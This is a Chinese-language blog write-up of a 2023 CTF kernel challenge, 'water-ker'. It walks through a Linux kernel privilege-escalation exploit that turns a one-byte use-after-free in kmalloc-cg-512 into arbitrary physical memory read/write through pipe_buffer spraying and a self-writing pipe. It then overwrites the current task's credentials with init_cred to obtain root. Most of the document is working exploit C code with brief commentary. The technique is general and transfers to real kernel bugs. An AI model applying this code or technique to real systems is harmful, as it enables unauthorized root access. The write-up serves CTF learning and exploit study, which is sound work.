强网拟态2023 water-ker

kmalloc-cg-512中的1字节UAF写入.
evilPipe启动.

Construct order-0 Page-level UAF

首先准备pipe_fds.

1
2
3
4
5
6
7
8
9
    logd("Initialize pipe_fds");
#define NPIPEFD 200
int pipe_fds[NPIPEFD][2];
for(int i = 0;i<NPIPEFD;++i)
{
int ret = pipe(pipe_fds[i]);
if(ret<0)
logw("pipe");
}

释放vulnerable.

1
2
3
4
5
6

logd(" Free vulnerable");
char buf[0x1000] = {0};
strcpy(buf,"HanQi...");
add(buf);
delete();

在kmalloc-cg-512中堆喷pipe_buffer,此时vulnerable的空间已经被pipe_buffer填充.

1
2
3
4
5
6
7
8
9
10

logd(" Spray pipe_buffer in kmalloc-cg-512");
for(int i = 0;i<NPIPEFD;++i)
{
//这里的size会对齐到2的幂
int ret = fcntl(pipe_fds[i][1],F_SETPIPE_SZ,0x1000*8);
if(ret<0)
logw("fcntl");
}


向每个pipe_buffer里写入对应的id,顺便触发页面分配(buf->page).
此时我们将要写入的pipe_buffer是下图中第一个,page结构体末位为80,修改后将变为00.进一步查看发现该pipe_buffer的id为0,将被指向id为2的pipe_buffer页面.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
logd("  Prepage pages in pipe_buffer");
for(int i = 0;i<NPIPEFD;++i)
{
*(int*)buf = i;
//用来后续判断corrupted的pipe_buffer的idx
write(pipe_fds[i][1],buf,sizeof(int));
write(pipe_fds[i][1],buf,sizeof(int));
write(pipe_fds[i][1],buf,sizeof(int));
}
logd(" Trigger UAF");
edit();


int victim_piid = -1; // 被溢出的pipe_buffer的id
int orig_piid = -1; // 页面将被double free的pipe_buffer的id
for(int i = 0;i<NPIPEFD;++i)
{
int nr = -1;
read(pipe_fds[i][0],&nr,sizeof(int));
if(nr != i)
{
orig_piid = nr;
victim_piid = i;
break;
}
}

if(victim_piid != -1 && orig_piid != -1)
logd(" victim_piid:%d, orig_piid: %d",victim_piid,orig_piid);
else
err_exit("Failed 1st-level UAF");


logi("Stage2: Construct 2nd-level UAF");

logd(" Free our page");
close(pipe_fds[orig_piid][0]);
close(pipe_fds[orig_piid][1]);


至此我们完成将1字节写入转为一次order-0 page的UAF.
当然,由于低位本身可能就是00,所以成功率只有75%.
由于是page-level的UAF, 那么单个object在512字节及以下的cache都可以是我们下一步的攻击目标.

任意物理地址读写原语

再次选用pipe_buffer结构填充该页面.

1
2
3
4
5
6
7
8
9
10
11
12

logd(" Spray pipe_buffer in kmalloc-cg-512");
for(int i = 0;i<NPIPEFD;++i)
{
if (i == orig_piid || i == victim_piid) {
continue;
}

int ret = fcntl(pipe_fds[i][1],F_SETPIPE_SZ,0x1000*(SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer)));
if(ret<0)
logw("fcntl");
}

利用victim_piid的pipe_buffer读出刚分配的pipe_buffer结构.为了读,需要在分配前先写入(pipe的特性).
所以完整的应该是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#define SND_PIPE_BUF_SZ 192


//写指针对齐到SND_PIPE_BUF_SZ
write(pipe_fds[victim_piid][1],buf,SND_PIPE_BUF_SZ-sizeof(struct pipe_buffer));
//写指针对齐到2*SND_PIPE_BUF_SZ
write(pipe_fds[victim_piid][1],buf,SND_PIPE_BUF_SZ);

logd(" Spray pipe_buffer in kmalloc-cg-512");
for(int i = 0;i<NPIPEFD;++i)
{
if (i == orig_piid || i == victim_piid) {
continue;
}

int ret = fcntl(pipe_fds[i][1],F_SETPIPE_SZ,0x1000*(SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer)));
if(ret<0)
logw("fcntl");
}

memset(buf,0,sizeof(buf));
read(pipe_fds[victim_piid][0],buf,SND_PIPE_BUF_SZ-1*sizeof(int));

struct pipe_buffer info_pipe_buf;
read(pipe_fds[victim_piid][0],&info_pipe_buf,sizeof(struct pipe_buffer));

logd(" info_pipe_buf->page: %p\info_pipe_buf->ops: %p",info_pipe_buf.page,info_pipe_buf.ops);

if ((size_t) info_pipe_buf.page < 0xffff000000000000
|| (size_t) info_pipe_buf.ops < 0xffffffff81000000) {
err_exit("FAILED to re-hit victim page!");
}

来看看现在的情形,我们可以通过1st-level pipe_buf修改2st-level pipe_buf的page指针完成任意物理地址读写(先根据泄露的page的值猜测出vmemmap_base).
不过写完一次后write_ptr会下移到下一个2st-level pipe_buf,并不是无限的读写机会.且此时我们并不知道物理地址信息,还需要进一步构造出无限读写原语.

(注: 图中画的一个pipe_buf表示同一个pipe的多个pipe_buf(在1次分配中取出的).

三级自写管道

先修改当前2st-level pipe_buf的page指针指向刚泄露出的page,完成2nd-level UAF.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
logd("  Modify pipe_buffer->page to corrupt");
write(pipe_fds[victim_piid][1], &info_pipe_buf, sizeof(info_pipe_buf));


int snd_victim_piid = -1; // 被溢出的pipe_buffer的id
int snd_orig_piid = -1; // 页面将被double free的pipe_buffer的id
for(int i = 0;i<NPIPEFD;++i)
{

if (i == orig_piid || i == victim_piid) {
continue;
}

int nr = -1;
read(pipe_fds[i][0],&nr,sizeof(int));
if(nr != i)
{
snd_victim_piid = nr;
snd_orig_piid = i;
break;
}
}

if(snd_victim_piid != -1 && snd_orig_piid != -1)
logd(" victim_piid:%d, orig_piid: %d",snd_victim_piid,snd_orig_piid);
else
err_exit("Failed 2nd-level UAF");

下一步是构造出传说中的自写管道,3rd-level中的pipe_buf分别编号(1,2,3,4.其中1是我们不完全可控的,故不使用).

通过3将4指向2, 通过4依次修改使得(2指向目标页面,3重新指回4),不断循环就得到了无限次的物理空间读写能力.

这里容易有个疑问,为啥不在2nd-level时就构造这样的管道?
答: 因为不知道1st-page的地址.

先获取3rd-level的pipe_buf的id.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
//写指针对齐到TRD_PIPE_BUF_SZ
write(pipe_fds[snd_victim_piid][1],buf,TRD_PIPE_BUF_SZ-sizeof(struct pipe_buffer));

logd(" Spray pipe_buffer in kmalloc-cg-512");
for(int i = 0;i<NPIPEFD;++i)
{
if (i == orig_piid || i == victim_piid
|| i == snd_orig_piid || i == snd_victim_piid) {
continue;
}

int ret = fcntl(pipe_fds[i][1],F_SETPIPE_SZ,0x1000*(TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer)));
if(ret<0)
logw("fcntl");
}


struct pipe_buffer evil_pipe_buf;
struct page* page_ptr;
/* let a pipe->bufs pointing to itself */
logd(" hijacking the 2nd pipe_buffer on page to itself...");
evil_pipe_buf.page = info_pipe_buf.page;
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
evil_pipe_buf.ops = info_pipe_buf.ops;
evil_pipe_buf.flags = info_pipe_buf.flags;
evil_pipe_buf.private = info_pipe_buf.private;

write(pipe_fds[snd_victim_piid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

/* check for third-level victim pipe */
for (int i = 0; i < NPIPEFD; i++) {
if (i == orig_piid || i == victim_piid
|| i == snd_orig_piid || i == snd_victim_piid) {
continue;
}

read(pipe_fds[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_2nd_pipe_piid = i;
logd(" self_2nd_pipe_piid: %d",self_2nd_pipe_piid);
break;
}
}

if (self_2nd_pipe_piid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}


/* overwrite the 3rd pipe_buffer to this page too */
logd(" hijacking the 3rd pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

write(pipe_fds[snd_victim_piid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fds[snd_victim_piid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

/* check for third-level victim pipe */
for (int i = 0; i < NPIPEFD; i++) {
if (i == orig_piid || i == victim_piid
|| i == snd_orig_piid || i == snd_victim_piid
|| i == self_2nd_pipe_piid) {
continue;
}

read(pipe_fds[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_3rd_pipe_piid = i;
logd(" self_3rd_pipe_piid: %d",self_3rd_pipe_piid);
break;
}
}

if (self_3rd_pipe_piid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}



/* overwrite the 4th pipe_buffer to this page too */
logd(" hijacking the 4th pipe_buffer on page to itself...");
evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
evil_pipe_buf.len = TRD_PIPE_BUF_SZ;


write(pipe_fds[snd_victim_piid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
write(pipe_fds[snd_victim_piid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

/* check for third-level victim pipe */
for (int i = 0; i < NPIPEFD; i++) {
if (i == orig_piid || i == victim_piid
|| i == snd_orig_piid || i == snd_victim_piid
|| i == self_2nd_pipe_piid || i == self_3rd_pipe_piid) {
continue;
}

read(pipe_fds[i][0], &page_ptr, sizeof(page_ptr));
if (page_ptr == evil_pipe_buf.page) {
self_4th_pipe_piid = i;
logd(" self_4th_pipe_piid: %d",self_4th_pipe_piid);
break;
}
}

if (self_4th_pipe_piid == -1) {
err_exit("FAILED to build a self-writing pipe!");
}

初始化自写管道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char temp_zero_buf[0x1000]= { '\0' };

/* init the initial val for 2nd,3rd and 4th pipe, for recovering only */
memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0xff0;

/* hijack the 3rd pipe pointing to 4th */
evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
evil_3rd_buf.len = 0;
write(pipe_fds[self_4th_pipe_piid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
evil_4th_buf.len = 0;

此时这俩任意读写原语就可以用了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
/* page to write */
evil_2nd_buf.page = page_to_write;
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0;

/* hijack the 4th pipe pointing to 2nd pipe */
write(pipe_fds[self_3rd_pipe_piid][1], &evil_4th_buf, sizeof(evil_4th_buf));

/* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
write(pipe_fds[self_4th_pipe_piid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fds[self_4th_pipe_piid][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fds[self_4th_pipe_piid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

/* write data into dst page */
write(pipe_fds[self_2nd_pipe_piid][1], src, len);
}

void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
/* page to read */
evil_2nd_buf.offset = 0;
evil_2nd_buf.len = 0x1ff8;
evil_2nd_buf.page = page_to_read;

/* hijack the 4th pipe pointing to 2nd pipe */
write(pipe_fds[self_3rd_pipe_piid][1], &evil_4th_buf, sizeof(evil_4th_buf));

/* hijack the 2nd pipe for arbitrary read */
write(pipe_fds[self_4th_pipe_piid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
write(pipe_fds[self_4th_pipe_piid][1],
temp_zero_buf,
TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf));

/* hijack the 3rd pipe to point to 4th pipe */
write(pipe_fds[self_4th_pipe_piid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

/* read out data */
read(pipe_fds[self_2nd_pipe_piid][0], dst, 0xfff);
}

LPE

法一: 内存搜索并修改current_task

搜索物理内存,尝试通过物理地址0x9d000位置的secondary_startup_64获取内核基址.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
logi("Stage4: LPE");
vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000;

size_t buf_8[0x1000];
for (;;) {
//尝试通过物理地址0x9d000位置的secondary_startup_64获取内核基址.
arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf_8);

if (buf_8[0] > 0xffffffff81000000 && ((buf_8[0] & 0xfff) == 0x0e0)) {
kernel_base = buf_8[0] - 0x0e0;
kernel_offset = kernel_base - 0xffffffff81000000;
logd(" Found kernel_base: 0x%lx, Kernel_offset: 0x%lx",
kernel_base, kernel_offset);
break;
}

vmemmap_base -= 0x10000000;
}


init_cred = kernel_base+0x0208c620;
init_task = kernel_base+0x02011200;

搜索物理内存,通过任务名找到current_task,并从中获取page_offset_base(获取的方法见注释).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
size_t *comm_addr;
size_t *tsk_buf, current_task_page, current_task;
prctl(PR_SET_NAME, "TASKNAME");


/**
* For a machine with MEM less than 256M, we can simply get the:
* page_offset_base = heap_leak & 0xfffffffff0000000;
* But that's not always accurate, espacially on a machine with MEM > 256M.
* So we need to find another way to calculate the page_offset_base.
*
* Luckily the task_struct::ptraced points to itself, so we can get the
* page_offset_base by vmmemap and current task_struct as we know the page.
*
* Note that the offset of different filed should be referred to your env.
*
* p (size_t)(&(*(struct task_struct*)0xffff8a72c39dc8c0)->comm) - (size_t)&(*(struct task_struct*)0xffff8a72c39dc8c0)->cred
*/


for (int i = 0; 1; i++) {
arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf);

comm_addr = memmem(buf, 0xf00, "TASKNAME", 8);
if (comm_addr && (comm_addr[-2] > 0xffff888000000000) /* task->cred */
&& (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
&& (comm_addr[-51] > 0xffff888000000000) /* task->read_parent */
&& (comm_addr[-60] > 0xffff888000000000)) { /* task->parent */

/* task_struct::ptraced */
current_task = comm_addr[-54] - 2528;
page_offset_base = (comm_addr[-54]&0xfffffffffffff000) - i * 0x1000;
page_offset_base &= 0xfffffffff0000000;

logd(" Found task_struct on page: %p",
(struct page*) (vmemmap_base + i * 0x40));
logd(" page_offset_base: 0x%lx",
page_offset_base);
logd(" current task_struct's addr: "
"0x%lx", current_task);
break;
}
}

最后更改当前task->cred等字段完成提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* now, changing the current task_struct to get the full root :) */
logd(" Escalating ROOT privilege now...");

current_task_page = direct_map_addr_to_page_addr(current_task);

logd(" current_task_page: %p",current_task_page);
logd(" vmemmapbase: %p",vmemmap_base);
arbitrary_read_by_pipe((struct page*) current_task_page, buf_8);
arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf_8[512]);

tsk_buf = (size_t*) ((size_t) buf_8 + (current_task & 0xfff));
tsk_buf[367] = init_cred; //363
tsk_buf[368] = init_cred; //364
// tsk_buf[381] = init_nsproxy; //377

arbitrary_write_by_pipe((struct page*) current_task_page, buf_8, 0xff0);
arbitrary_write_by_pipe((struct page*) (current_task_page+0x40),
&buf_8[512], 0xff0);

logd(" Done.\n");
get_root_shell();

这种提权方法变化很大,需要手动修改task结构上各字段偏移,比赛用的话还是太慢了.

1
p (size_t)(&(*(struct task_struct*)0xffff8a72c39dc8c0)->comm) - (size_t)&(*(struct task_struct*)0xffff8a72c39dc8c0)->cred

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信